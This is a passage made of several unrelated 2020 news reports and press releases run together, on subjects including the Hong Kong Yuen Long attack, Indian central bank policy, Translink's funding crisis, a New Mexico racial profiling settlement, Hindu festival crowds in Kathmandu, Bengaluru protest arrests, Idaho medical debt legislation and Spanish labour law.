scene, leaving 45 people in hospital. Video footage at the time showed police officers chatting to men who closely resembled the attackers. The MTR Corp. said it would close Yuen Long Station at 5.00 p.m. local time to "ensure the safety of its passengers and staff." Anson Chan, who was second-in-command of the city under the British colonial administration, hit out on at chief executive Carrie Lam for her "arrogance" in dealing with the protest movement that rocked the city over several months last year. "Everything seems to have come too little and too late," Chan said, who was also referring to Lam's response to the coronavirus epidemic. "Personally, my conclusion is that unless the chief executive steps down or Beijing removes her, there will be no prospect of rebuilding Hong Kong." Amnesty International said in an annual report that Hong Kong protesters are 'bloodied but not broken' in the wake of abusive policing tactics for which the authorities have yet to be held accountable. It said the Hong Kong protest movement, which began in with mass popular opposition to extradition to mainland China, had demanded accountability in spite of increasingly harsh treatment by the authorities Last month, eight victims of the attack sued the city's chief of police over the force's inaction over the Yuen Long attacks. Doubts about 'one country, two systems' framework Police have said the protesters had "provoked" the attackers, but there is scant evidence on video footage to support this view. Thirty-seven people, some of whom have links to triad organizations, were arrested in the wake of the attack, and seven of them face charges of "rioting." Under the "one country, two systems" framework agreed before the 1997 handover to Chinese rule, Hong Kong was promised the maintenance of its freedoms of speech, assembly and political participation. The protests that erupted in in response to plans to allow extradition to mainland China were largely triggered by the erosion of those freedoms, particularly following a series of high-profile interventions by the ruling Chinese Communist Party in the city's political life, including the debarring of pro-democracy lawmakers and would-be election candidates for their political views. Beijing also decreed that while it would allow Hongkongers to each have a vote in popular elections, they would only be allowed to choose from among candidates approved by China. Millions of pro-democracy supporters have taken to Hong Kong's streets with demands for a public inquiry into police violence, fully democratic elections, an amnesty for thousands of arrested protesters, and an end to the use of the word "rioters" to describe the movement. While Lam formally withdrew hated amendments to the city's laws that would have allowed extradition to mainland China in October, protesters slammed her response as too little, too late, and demanded she address the rapid erosion of the city's promised freedoms. Frontline protesters, eyewitnesses, journalists and human rights groups have repeatedly said that the majority of violence during the protests has originated with the Hong Kong police, who have been widely criticized for the excessive use of tear gas, water cannon, pepper spray, as well as both non-lethal and live ammunition weapons on unarmed protesters. Around one third of adults in Hong Kong have reported symptoms of post-traumatic stress disorder (PTSD) since the protest movement escalated last June, according to a mental health survey published in The Lancet this month, which said the incidence of psychiatric problems was similar to those usually associated with war zones or terrorist attacks. Reported by Lau Siu-fung and Pan Jiaqing for RFA's Cantonese Service. Translated and edited by Luisetta Mudie. Reserve Bank of India Governor has said the central bank has already initiated discussions with some institutions and efforts are on for inclusion of in as quickly as possible. The development would attract higher foreign flows as many overseas funds are mandated to track It will help bring in large passive investments from overseas, as a result more domestic capital would be available for industry as crowding out to that extent would be reduced. "That is work in progress. We have had our discussions with some institutions which maintain these global index...not possible to spell out a timeline, but it is a work in progress. Our effort will be to see that it is taken forward as quickly as possible. I don't want to give a timeline," he told PTI in an interview. This was a long-pending suggestion of that was addressed in the Budget this year. "Certain specified categories of Government securities would be opened fully for non-resident investors, apart from being available to domestic investors as well," Finance Minister had said in the Budget 2020-21. The specified securities, which will be listed on the indices, will not have a lock-in requirement. Globally, there are some large institutional investors that track these indices, such as Bloomberg Barclays Emerging Market Bond index, for positional decisions on sovereign papers. With regard to health of the shadow banking sector, Governor Das said RBI has been monitoring the top 50 very closely, in fact much more closely than anybody can imagine from outside. "Similarly, the health of the other financial sector entities including the banks are also being very closely monitored by the Reserve Bank of India. The Reserve Bank remains committed to maintain financial sector stability," he said. As far as the are concerned, he said, "our close monitoring over the last one year, we have a reasonably good idea about where exactly the stress lies. We are constantly engaged with the individual and only very few of the NBFCs have some liquidity issues." "We are constantly engaging with their management, with their promoters and encouraging them to resolve their problems through market based solutions in terms of getting additional liquidity. The engagement with the NBFCs management is constantly on," he added. Sounding sanguine about the future, Das said the overall flow of credit to the NBFC sector has improved quite steadily over the last few months. "There are a good number of NBFCs which are able to access funds from the market at reasonably competent rates, even comparable to or perhaps a bit lower than the pre-IL&FS rates. So, therefore, NBFC sector is slowly improving, and it has steadily improved over the years and we will continue to monitor that sector," he said. The NBFC sector, including some large housing finance companies, came under stress following a series of defaults by Infrastructure Leasing & Financial Services (IL&FS) group companies beginning September 2018. Immediately after the IL&FS crisis, NBFCs faced severe liquidity crunch as mutual funds (MFs) stopped refinancing their loans, leading to asset liability mismatch. The situation became so dire that it was even compared to the 2008 Lehman Brothers crisis. The government had to step in and supersede the board to avert a blow up. Subsequently, RBI pitched to ease liquidity issues. In a bid to improve regulatory oversight, housing finance companies were brought under the RBI from the fold of A former minister has told the Executive it is facing a "stark choice" if it wants to save Northern Ireland's public transport system. It was warned this week that Translink is facing "imminent and serious collapse" due to funding cuts and a deficit approaching 30m. Yesterday a trade union representing workers threatened strike action if jobs are put at risk because of the operator's financial crisis. Danny Kennedy served as Regional Development Minister from 2011 to 2015, and had previously warned about budget cuts. He said yesterday: "In my time as minister, it was clear that insufficient money was released by the Executive to keep services going. Translink had to fall back on their reserves, which are now almost gone. "This new Executive faces a very stark choice. If we are to maintain our public transport system, then it is essential that the necessary funds are released. "The parties are all aware of that. I was succeeded as minister by the DUP's Michelle McIlveen and Sinn Fein's Chris Hazzard. Their parties know that the historic underfunding of infrastructure must be addressed. "Infrastructure, like other departments, has always played second fiddle to health and education. I understand that, but people still expect services in terms of public transport, street lighting, grass cutting and road maintenance - and all those services have been impacted by a lack of funding. "This is a key issue not just for Nichola Mallon, but for the entire new Executive." Read More A Translink spokesperson stressed that, due to an agreement with the Department for Infrastructure (DfI), commitments have been made to ensure adequate funding is in place to maintain its services. According to its latest accounts for the year ending March 31, 2019, the Northern Ireland Transport Holding Company (NITHCo), which runs Translink, employs 4,202 workers. Trade union Unite represents the majority of Translink's drivers, engineers and inspectors. Unite official Davy Thompson said warnings about the company's future, which were laid bare at a meeting of Stormont's Infrastructure Committee on Wednesday, were no surprise. "The NI Executive parties committed themselves to meeting the challenge of climate change but that verbal commitment means nothing if they allow our public transport services to collapse through underfunding," he said. "Unite members in public transport have taken industrial action to defend public transport services in the past and we stand ready to do so again if a genuine threat to jobs and services emerges." Peter Macklin of trade union the GMB said the Assembly needs to make a decision on Translink funding urgently. "Not only does their indecision leave workers' lives in limbo, but dithering risks letting Northern Ireland's road system coming to a complete standstill, crippling the economy," he said. The Translink spokesperson said the company operates under a Public Service Agreement with DfI, in which an agreement was made that funding will be made available to the operator for the provision of "socially necessary" public transport services. "This agreement states that the funding will be maintained at such a level as to ensure that these services can be carried out by Translink and will enable it to meet going concern requirements," they added. "Translink will continue to work with DfI to ensure sustained levels of public service obligation and concessionary fares funding going forward to maintain high quality public transport." Translink has a fleet of 1,400 buses and trains and runs 12,500 services daily. The company has struggled for years, attempting to manage unprofitable routes and severe budgetary constraints. At one stage the firm was losing an estimated 13m every year running rural bus services, leading to Translink warning that such routes could be scrapped altogether. New Mexicos largest county has reached a racial profiling settlement with a black woman who was stopped by deputies three times in less than a month but never cited. Bernalillo County and Sherese Crawford reached a $100,000 settlement agreement in connection with three stops by sheriffs deputies on Interstate 40 around Albuquerque, the Albuquerque Journal reported. Crawford was working a temporary assignment in New Mexico as a deportation officer for Immigration and Customs Enforcement in 2017. According to her lawsuit, she was stopped once by former deputy Leonard Armijo and twice by deputy Patrick Rael. These deputies reminded her that her skin color, not the reality of whether she has violated any laws and not the hard work she has put into becoming an exemplary law enforcement officer, herself , dictates how other law enforcement officers will treat her, ACLU of New Mexico Legal Director Leon Howard said in a letter to Bernalillo County Sheriff Manuel Gonzales on Monday. A review of 82 Bernalillo County Sheriffs Office traffic stops on Interstate 40 between January and July 2017 found that 17% of the motorists who were stopped were black, according to Howards letter. Around 2.6% of New Mexicos population is black. Gonzales said in a statement Tuesday that his office does not condone the actions by the deputies mentioned in this incident. Both were disciplined, required to attend additional training and removed from their positions. One has since resigned. Crawfords lawsuit, filed in late 2017, outlines the explanations she was given for each stop. Two of those, passing on the right side and tailgating, were incontrovertibly contradicted by dash camera footage, Howard wrote. Howard pointed out in an interview that not all Bernalillo County Sheriffs Office vehicles are outfitted with dash cameras. Crawford was also stopped when, according to the deputy, her license plate came back as a skip, indicating her rental car could have been stolen. She later confirmed that the car was registered correctly. In his letter, Howard encouraged the sheriff to implement mandatory implicit bias training and to allow a qualified professional to review Bernalillo County Sheriffs Office policies and procedures to ensure they are free of bias. We have a sheriff right now who has not shown that he is receptive to change and to responding to the community to create a more fair and transparent police department, Howard said. In his statement, Gonzales said the Sheriffs Office offers and requires multiple training courses in cultural diversity, unbiased policing, and constitutional law. The Bernalillo County Sheriffs Office is one of the most diverse law enforcement agencies in the country, Gonzales said. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Training Development Mexico VATICAN CITY - The Holy See's Secretary of State for Relations with States Mons. Paul Richard Gallagher said in an interview with TV2000 that the Church's responsibility "is to work for the well-being of peoples and to contribute to resolve conflicts and bring new hope to countries that find themselves in difficulty". Gallagher's comments came in a special on the Italian Bishops' Conference (CEI) meeting in Bari, "Mediterranean: Frontier of Peace". "We all have a shared responsibility," Gallagher said. "The pope has great affection for the city of Bari, also for its meaning for the entire Christian world. It's a bridge between western and eastern Christianity. It's a symbolic city and perfect for launching a new invitation to all Christians to engage themselves for the wellbeing of humanity," he said. Cardinal Jean-Claude Hollerich, bishop of Luxembourg and president of the EU Commission of Episcopal Conferences, said the appeal is "to open humanitarian corridors" and the appeal to governments is "to collaborate for this with the churches, the parishes, the dioceses". "We must use all the tools we have to help people. If there is even one extra life saved, this is worth it," he said on the sidelines of the third day of meetings of the bishops in Bari. "Our borders are on the Mediterranean Sea and that is where we must work for peace, human dignity, and religious freedom. We see the dramatic situation of refugees and the poor, in the Greek islands or in the camps in Libya, shameful for Europe. We can't leave Greece and the other countries on their own with the problems. If we can create human corridors, we can truly alleviate people's suffering," Mons. Hollerich said. "If the European Union doesn't do anything, then the Church must raise its prophetic voice, become the conscience of Europe and do something," he said. Source: Xinhua| 2020-02-21 23:24:07|Editor: Mu Xuequan Video Player Close KATHMANDU, Feb. 21 (Xinhua) -- Hundreds of thousands of Hindu devotees from across the world thronged into Pashupatinath temple here on Friday to celebrate their biggest festival Maha Shivaratri. Shivaratri is celebrated annually in devotion of lord Shiva on a new moon day in the Nepali lunar month of Falgun by offering prayers to Shiva, who is regarded as the God of immense power and destruction. According to Pashupati Area Development Trust, it has expected the flow of at least 1 million devotees from Nepal and other countries at the holy shrine Pashupatinath temple, which is also a UNESCO World Heritage Site based in central Kathmandu. "Though the major day is today, but the devotees will continue to visit the temple area for couple of days. We are expecting the flow of around 1 million people for this festival," Pradeep Dhakal, Member Secretary of the Trust told Xinhua. Stating that 1.1 million people had visited the temple in the festival last year, Dhakal informed that more than 7 million Nepalese Rupees (about 60,900 U.S. dollars) has been allocated for organizing the festival this time. Over 4,000 security personnel have been mobilized in the area to manage the crowd. The Trust informed that the main gates of the historical temple were opened at 3 a.m. Friday, while the devotees will continue to offer prayers throughout the day till midnight. Nepal government provides a public holiday every year to mark the festival. On this particular day, devotees offer milk and flowers, especially "Dhaturo" (an intoxicating plant) and green leaves named "Belpatra" to Lord Shiva and light the oil lamps. Many Hindus also observe fast and meditate while lighting bonfires during night and perform prayers. They also sing hymns related to Shiva, his wife Parbati and their residence Kailash. There are various myths behind marking of Maha Shivaratri among which, birthday of Lord Shiva and the marriage of Lord Shiva with Goddess Parbati are regarded as the major reasons of celebration. Apart from the religious faith, one of the major attractions of Shivaratri festival is the visiting sadhus (sages) from across the country and from neighboring Indian states. According to the Trust, this year around 5,000 sages of various clans have thronged the temple. The sages will spend four to five days in the temple premise, while the Trust arranges their food, accommodation and bid farewell to them with allowances. Hilarious photos show the moment a newborn baby frowns at a doctor who tries to make her cry. Isabela Pereira de Jesus was born via Caesarean section the afternoon of February 13 at a hospital in Rio de Janeiro. Doctors often encourage babies to cry after birth, as it shows that their lungs are working. But when the obstetrician encouraged Isabela to make a noise, the baby was clearly unimpressed. Mom Daiane de Jesus Barbosa hired local professional photographer Rodrigo Kunstmann to capture Isabela's birth, and he was on hand to catch the baby's adorable expression. The photographer told Brazilian magazine Crescer that the obstetrician asked the baby to let out her first cry before she was set to cut off the umbilical cord. 'She opened her eyes wide, but did not cry,' Kunstmann said. 'The doctor even had to say, 'cry, Isa!' She made that serious expression and only started crying after the umbilical cord was cut.' A photo taken of Isabela Pereira de Jesus moments after her birth shows her looking very unimpressed Isabela Pereira de Jesus finally let out a cry after the doctor cut off her umbilical cord Isabela was expected to be born February 20 before her mother delivered her February 13 Daiane de Jesus Barbosa and her husband celebrated the birth of their first child last week Kunstmann told DailyMail.com: 'Childbirth is a unique moment and deserves to be recorded.' He shared a series of 10 photos that captured de Jesus' first precious moments on his Facebook page - including her eventual first cries. And proud mom Daiane said the snaps show how brave the youngster already is. 'My baby was born courageous,' she told Brazilian news outlet G1. 'It's a meme already. She always wrinkles her forehead when changing diapers and nursing. Isabela was supposed to be born on the 20th, but she chose her day already showing her personality. Isabela pictured with her father and mother, Daiane de Jesus Barbosa Northrook, IL -- (SBWIRE) -- 02/21/2020 -- According to a new market research report "Smart Learning Market by Component (Hardware, Software (Integrated Solution and Standalone Solution), and Services), Learning Type (Synchronous Learning and Asynchronous Learning), End User (Academic and Enterprise), and Region - Global Forecast to 2024", published by MarketsandMarkets, the smart learning market size projected to grow from USD 23.2 billion in 2019 to USD 56.5 billion by 2024, at a Compound Annual Growth Rate (CAGR) of 19.5% during the forecast period. The major factors driving the growth of the smart learning market include the proliferation of connected devices in the education sector, adoption of eLearning solutions, and growing use of Artificial Intelligence (AI) and Machine Learning (ML) in smart learning. Browse in-depth TOC on "Smart Learning Market" 107- Tables 50- Figures 170- Pages Download PDF Brochure @ https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=571 By component, the hardware segment to record a larger market size during the forecast period The smart learning hardware market consists of gadgets, equipment, and systems that help gain access to digital content through the internet. It includes hardware devices, such as interactive displays, interactive projectors, smart tables, and smart podiums. The advent of innovative hardware technology helps learners and teachers communicate using devices, such as tablets, smartphones, laptops, Personal Digital Assistants (PDAs), and Notebooks. These equipment come with an incorporated platform, which helps in the collaboration of learners and tutors by connecting multiple desktops, laptops, and smartphones in any location. The use of this technology for learning purposes has sparked a knowledge evolution where students can use mobile applications to connect with faculty members and where trainers can offer instant feedback, thus reducing the learning effort. The implementation of advanced technological aids, such as interactive displays and interactive projectors, helps increase student interactivity and knowledge retention. The hardware industry for smart learning is highly competitive due to the use of developing technologies in the education segment. Educational hardware vendors provide additional software to enable effective collaboration and learning. In the hardware devices space, there exists a competition between SMART Technologies, BenQ, Huawei, Dell, Panasonic, Promethean World, Samsung, and Microsoft. By learning type, the synchronous learning segment to record a higher growth rate during the forecast period Synchronous learning is online learning, which happens in real time. In this type of learning, learners can interrupt the tutor and ask their doubts between ongoing sessions. Online communication helps learners' stay-in-touch with their teacher and fellow students. In this type of learning, one individual (instructor) takes a lead role in the learning process by giving instructions to other learners. Several corporate organizations follow the synchronous learning training process to train their employees, wherein experienced employees usually take the role of the instructor, while comparatively less experienced employees take the role of a learner. Synchronous learning has some of the benefits of asynchronous learning, such as classroom engagement, dynamic learning, and instruction depth. In the smart learning market, synchronous learning is picking up the pace and growing at a higher CAGR, owing to technological enhancements enabling users to communicate in real time. Speak to Research Expert @ https://www.marketsandmarkets.com/speaktoanalystNew.asp?id=571 APAC to record the highest growth during the forecast period APAC countries considerably contribute to the growth of the smart learning market. The adoption of smart learning solutions has explicitly been implemented in this region to discover the power of innovative learning methodologies. Intrinsic strength and rapid economic growth make this region one of the fastest-growing education markets internationally. Countries such as Australia and Japan are expected to experience significant growth because of wider technological infrastructure. The smart learning market is an upcoming segment with high growth potential in this region. The demand for custom eLearning content and technologies is one of the factors that is driving the smart learning market in APAC. APAC continues to be the largest exporters and consumers of education services. APAC countries differ greatly, some being among the most technologically developed, while others still show signs of major weakness in terms of adopting the latest technologies. Lack of technological access in developing nations and lack of knowledge among end users are the key barriers that limit global educational technology providers from entering Asian countries, such as China and India. Australia and Japan have been submissive to smart learning solutions due to the emergence of innovative devices, such as interactive displays, interactive projectors, and printers. China and India, on the other hand, are now slowly becoming receptive to the incorporation of advanced technologies in sectors, such as Banking, Financial Services, and Insurance (BFSI); education; retail; and government. APAC is considered to be one of the major regions for software providers, as it covers a large terrestrial area and holds significant growth in this market. APAC continues to experience rapid growth in all areas of technology. The region being broad and diverse, not all countries enjoy the same levels of technology expansion and approachability. Major vendors of include Blackboard (US), IBM (US), Samsung (South Korea), SMART Technologies (Canda), Adobe (US), Saba Software (US), Oracle (US), SAP (Germany), Microsoft (US), Cornerstone OnDemand (US), BenQ (Taiwan), Huawei (China), D2L (Canada), Newrow (US), Pearson (UK), McGraw-Hill (US), CrossKnowledge (US), Alphabet (US), Ellucian (US), Cisco (US), and UpsideLMS (India). About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, and strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Sanjay Gupta MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: 1-888-600-6441 Email: sales@marketsandmarkets.com MnM Blog: https://mnmblog.org Content Source: https://www.marketsandmarkets.com/PressReleases/smart-digital-education.asp Arudras placard read Liberation to J&K, Muslims, adivasis and dalits. Bengaluru/ Chikkamagaluru: At a time when people are yet to recover from the shock of seeing a young woman, Amulya, raising pro-Pakistan slogans another college student has also done it carrying a placard which read Liberation to Jammu and Kashmir, Muslims, Adivasis, Dalits in Kannada, at an anti-CAA protest near Town Hall in Bengaluru. It happened during a protest called by various Kannada organisations against the Citizenship Amendment Act on Friday. Arudra who is said to be a student of a college in Malleswaram, was taking part in the protest when she suddenly displayed the placard which stunned the organisers. The police detained her and took her to Sampangiramanagar police station. The police said Arudra is a Facebook friend of Amulya Leona. However, Arudra is said to have denied her connection with Amulya. Additional commissioner of police (West) Soumendu Mukherjee would be interrogating the student activist. DCP (Central) Chetan Singh Rathod said that the police have slapped cases under IPC sections 153 A 2 and 153 B and Arudra has been taken for medical tests. Meanwhile, the house of Amulya came under attack allegedly from right-wing Bajrang Dal activists, who pelted stones at the house and smashed the wooden window frames. Narrating the incident, Amulyas father Oswald Noronha (Vaji) said he left his house before Bajrang Dal activists stormed his house with stones and sticks and started attacking the windows. I stood silently in the cover of darkness while the mob entered the house and started their attack despite people in the vicinity asking them not to do so, he recalled. Later, police arrived at the spot and provided security to Vaji who lodged a formal police complaint on the attack at around 2 pm on Friday. When the attack happened, Vajis wife had been to Theerthahalli to visit her maternal home. Vaji said, I could not establish contact with my wife after Amulyas arrest. I do not know where my wife is whether she is in Theerthahalli or in Bengaluru. Regarding supporting his daughter, Vaji is non-committal on securing bail for Amula. He said, Her act is unpardonable and I will not strive to secure bail for her. But, I do not know about my instincts as a father. He said, She has hurt me and society with her act. I had asked her to refrain from inflammatory statements but she did not pay heed. I told her that Prime Minister Narendra Modi and Union ministers hold offices of high esteem and she should respect their positions and also their age. Chikkamagaluru superintendent of police Harish Pandey told Deccan Chronicle that a First Information Report (FIR) has been registered by the police based on the complaint filed by Vaji. We are trying to identify who they are since the attack occurred in the cover of darkness. he said and also revealed that no arrests have been made so far in the attack on Vajis house. Meanwhile, hundreds of pro-Hindu outfits especially from Bajrang Dal took to the streets holding a protest rally in Koppa town on Friday against Amulya. An effigy of Amulya was burnt in Koppa while Bajrang Dal convenor Tudukuru Manjunath told Deccan Chronicle that Dal activists will keep a watch on her entry if she is granted bail in the case. He warned that if she dares to enter Koppa or Chikkamagaluru again, then, she would have to face dire consequences. February is Black History Month, which celebrates the many achievements of black Americans. Its also a time to remember the injustices faced by African Americans throughout history, and one that deserves more attention is the targeted efforts of tobacco companies to addict the African American community to tobacco products. Black people smoke at a similar rate compared to white people, with 16.7 percent smoking every day or some days, but they are more likely to die from a tobacco-related disease than white people. Why do these disparities along lines of race and ethnicity exist? The answer is tied to the many ways that tobacco use disproportionately affects minority groups, who have a long history of and continue to be targeted by the tobacco industry. Did you know that there are up to 10 times more tobacco ads in black neighborhoods than in other neighborhoods? Tobacco companies have strategically marketed tobacco products to appeal to racial and ethnic communities for decades. The most striking example is menthol cigarettes. These cigarettes, which are easier to smoke and harder to quit, have long been marketed to the black community. About 85% of all black smokers use menthol cigarettes, a rate that is nearly three times higher than white smokers. Big Tobacco has sponsored cultural events, targeted direct mail promotions and placed advertising in publications and venues that are popular with black audiences. For example, a 2011 review concluded that Ebony magazine was almost 10 times more likely than People magazine to contain an advertisement for menthol cigarettes. The marketing is so pervasive that a 2013 study found that black children were three times more likely to recognize advertisements for Newport, the most popular menthol brand among that group, than other children. Tobacco companies have also sponsored activities linked with cultural traditions such as events related to Black History Month. Research shows that more tobacco retailers exist in areas with larger black populations. More stores selling tobacco means more exposure to point-of-sale marketing, which Big Tobacco spent more than $8 billion on in 2014. Point-of-sale promotions not just in-store advertising, but things like discounts and product displays behind checkout counters have been the industrys top marketing strategy for nearly 30 years. Action is being taken at the local level to address these issues. The KRW Tobacco-Free Coalitions main goal is to increase equity. This is achieved by providing education which supports comprehensive policy interventions, community assessments, evaluations, media outreach and, most importantly, partnership with the populations most impacted by disparities. If youd like to know more about how you can take action in our community, please email krw@hopecouncil.org. If you want to quit smoking, free help is available by calling the Wisconsin Tobacco QUIT Line at 1-800-QUIT NOW (784-8669). Medicaid recipients can also talk to their doctor about the free quitting resources available through the Medicaid cessation benefit. Michelle Sandberg is the Tobacco-Free Coalition coordinator for Kenosha, Racine and Walworth counties. Michelle Sandberg is the Tobacco-Free Coalition coordinator for Kenosha, Racine and Walworth counties. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Starting next week, Massachusetts residents can beat the Super Tuesday crowds and cast their votes for the presidential primary and local races. Some towns and cities will hold extended hours and add multiple voting locations to accommodate the residents. Others will collect the ballots during their regular office hours. Secretary of State William F. Galvin plans to host an early voting kickoff in Brookline Town Hall at 9 a.m. Monday. Of the 2.7 million people in Massachusetts who voted on Election Day in 2018, about 584,000 roughly 21% voted early. In Brookline, nearly one-quarter of the ballots cast in that election came from early voters. The town received 25,507 ballots, including 6,042 early ballots. Springfield had 37,999 ballots cast in 2018 with about 2,599 nearly 7% coming from early voters. The town with the highest percentage of early voting participation that year was Eastham on Cape Cod. Nearly half its 3,307 ballots came from early voters. Wondering where to go to cast your ballot? Here are the early voting locations and hours for every city and town in Massachusetts. (Table may take a minute to load.) Related Content: While other teens are wearing t-shirts, jeans and backpacks, Brice Everhart is sporting a sportscoat, natty tie and a briefcase. The 13-year-old seventh grader at Harmony School of Discovery Houston dresses like a CEO, and it appears hes headed to become one with his fashion company, Vallaires for Men, which he started at age 8. He offers a collection of bow ties, lapel pins and pocket squares that he custom designs. Having my own business makes me feel empowered. My friends find me on the Internet and think I have lots of money, he said. Everharts bow ties sell for $15, lapel pins for $15 and pocket squares for $20. While he does brisk business at networking events, hes hoping Vallaires for Men will become a household name and expand into cologne, socks and signature lapel pens. Vallaires for Men was inspired by his sister, Brooke Vallaire, 23, a womens fashion designer who launched her own collection at age 15. Shes an art teacher and continues to design womens wear. But it was Everharts single mother, Shareca Vallaire, who fueled the entrepreneurial fire. When she became ill and could no longer run the child-care center she owned, Everhart decided he wanted to help the family financially. I didnt want to see my mom struggle, so I saw it as my responsibility to do something and not sit around and watch, Everhart said. More Information Home: Katy Style hero: "Michael Jackson for a slim fit, but I don't think I can pull that off. So Steve Harvey." Pairs of shoes: 41 pairs, but only a few still fit. Favorite movie: "The Sandlot" Must have outfit: "A dress shirt, very nice belt, bow tie and sneakers and jeans. They have to be classic sneaker, like white Air Force Ones." Favorite food: Seafood and barbecue Most-wanted super pwoer: "To know what people are thinking because if I'm a crime stopper, I can stop people from doing bad things." Will never wear: A Speedo. Sagging pants. Bucket-list travel spot: Bora Bora or Hawaii. Theme song: "Classic Man" by Jidenna See More Collapse His first bow ties were made of fabric remnants from his sisters fashion designs. Over the years, hes expanded to include pocket squares and lapel pins in ruffles, roses and sunflowers, among other designs. His first big sale was at an oil and gas business expo at the Hilton Americas Hotel. Everhart sold out of his briefcase full of accessories, making more than $700 in three hours. Today his roster of clients includes Mayor Sylvester Turner and Bishop T.D. Jakes, the Dallas megachurch leader. Everhart says he had to dodge security to meet Jakes personally and sell him a few pieces of his collection at the Woman Thou Art Loosed conference in Dallas in 2017. Vallaires for Men is available at the Popup Shop in The Galleria next to Nordstrom. The shop features products from local businesses, including a section for teen entrepreneurs. Everhart has been selling at the shop since it opened on Black Friday last year. Next month, teen section will relocate to Memorial City Mall. I do work a lot, but I try to balance it out. When the Popup Shop first started, I worked every Saturday. Now, I can hang out with my friends. But a lot of times with the (networking) events, I honestly dont know what Im booked for until my mom tells me to go and I go. When it comes to his business style, Everhart says he has always dressed up. Hes been carrying a briefcase since age 2. People notice you more and you get more attention when you dress to impress. You might impress the person who will help you fullfil your dreams or passion. You can miss a lot of opportunities by not dressing presentably, he said. Everhart is also focused on his studies and is looking forward to attending college to earn multiple degrees. My first degree will be in business, he said. My second degree will be in acting and my third degree will be in psychology. I want a doctorate because I want to be called Dr. Everhart. It has a nice ring to it, he said. joy.sewing@chron.com A Rochester man previously convicted of robbing a bank pleaded guilty to robbing two more after running from a reentry center, according to federal prosecutors. Michael Matzen, 39, of Rochester, pleaded guilty to two counts of bank robbery and escaping federal custody, according to the U.S. Attorneys Office for the Western District of New York. Matzen was previously sentenced to 57 months in prison after robbing a bank in Troy. He was serving several months of his sentence at the Residential Reentry Center in Rochester, federal officials said. On Aug. 30, Matzen was allowed to leave the facility until 8 p.m., however he didnt return, federal prosecutors said. On Sept. 3, Matzen robbed the Canandaigua National Bank at 210 Alexander St. in Rochester, according to federal officials. Matzen robbed the bank wearing a hoodie, dark sunglasses and a bandana covering most of his face, prosecutors said. He handed the teller a note demanding money and the teller complied before Matzen fled, federal officials said. Sixteen days later, Matzen robbed the Key Bank at 1185 University Ave. in Rochester, federal prosecutors said. Matzen handed a note to the teller that read Give me all big bills, 50-100s, no GPS or dye pack, top & bottom drawers, all will be OK for you all," officials said. As Matzen tried to run, he was tackled and held by two bank customers until police arrived, officials said. Matzen faces up to 20 years in prison and $250,000 in fines. Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. BOISE Legislation intended to create transparency in medical bills sent to patients and to rein in predatory medical debt collectors advanced to the Idaho House on Wednesday. The House Business Committee approved the bill 15-2 after a five-hour, emotional hearing where lawmakers shared personal stories. The measure would require doctors and medical facilities to provide timely and clear bills for their clients. It would also limit how much attorneys can get paid in specific circumstances involving medical debt collection. Specifically, the bill seeks to cap medical collection debt fees at $350 for people who do not contest their bills and $750 for those who do. It would also set a 45-day deadline for medical facilities to get consolidated bills to patients. Idaho billionaire Frank VanderSloot, founder of wellness shopping club Melaleuca, helped initiate the legislation after a debt collection agency targeted one of his employees, tacking on legal fees that turned a $294 medical bill into a $5,500 bill. Hes also spent $1 million in legal fees defending people who he said appear to have been caught up in predatory medical billing by attorneys. Clearly, our state legislators, representatives, have heard the call of the people, he said after the vote. There are several who have had experiences themselves. And Im glad to see theyre wanting to do the right thing for the people, even though one of their colleagues is involved here. The circumstances are extraordinary in this case. Republican Rep. Bryan Zollinger, manager of Medical Recovery Services, addressed the committee, arguing against the legislation. I think the goal of everybody on this committee is the same medical billing transparency, reduce the cost of collections, he said. I think theres a way to do that in a much less restrictive way that would not fly in the face of conservative government. Republican Rep. Jason Monks, the Legislatures assistant majority leader and Zollingers friend, argued in favor of the bill. He said nobody was breaking the law with medical debt collection, that in some instances led to large bills that included attorney fees dwarfing the original medical costs. The current law allows for the situations that were dealing with right now, he told the committee. I think the current law in my opinion is unjust and unfair. I think the law takes advantage of individuals and thats why we need to change this. Those who testified consisted of patients who said they were taken advantage of after getting caught up in medical billing. Several attorneys and doctors opposed the measure, saying it would protect deadbeats and let costs get passed onto other patients, or it would lead to patients being forced to pay entire costs up front. The Idaho Medical Association is neutral on the bill, Monks said, after lawmakers made several changes to the initial legislation. Republican Rep. Gayann DeMordaunt made a motion to send the bill to the House floor with a do-pass recommendation, getting near tears in talking about her personal experiences. The bill survived two other measures that could have killed it. One involved sending it to the House floor with no recommendation, and the other involved holding it for changes. The motions were withdrawn after discussion made it clear a majority of the lawmakers wanted to approve the measure. Copyright 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 2 Funny 0 Wow 0 Sad 0 Angry 0 Spains new leftist government has made its first amendment to the controversial labour laws introduced by Mariano Rajoy in 2012. Announced by labour minister Yolanda Diaz this week, the reform will make it less easy for companies to fire workers for taking sick leave and means that employees no longer have to fear for their jobs if they become unwell. Previously, an employee could be - and many were - fired for prolonged absence due to illness, even if they produced a note from their doctor. The PSOE-Podemos alliance, then, has done well to reverse a piece of legislation that was indifferent to workers welfare. The reforms introduced by Rajoy at the height of the economic crisis were designed to make life easier and cheaper for companies, not to consolidate the stability or rights of employees. They were also backed last October by Spains Constitutional Court, which ruled that employers could sack ill workers even if they produced a 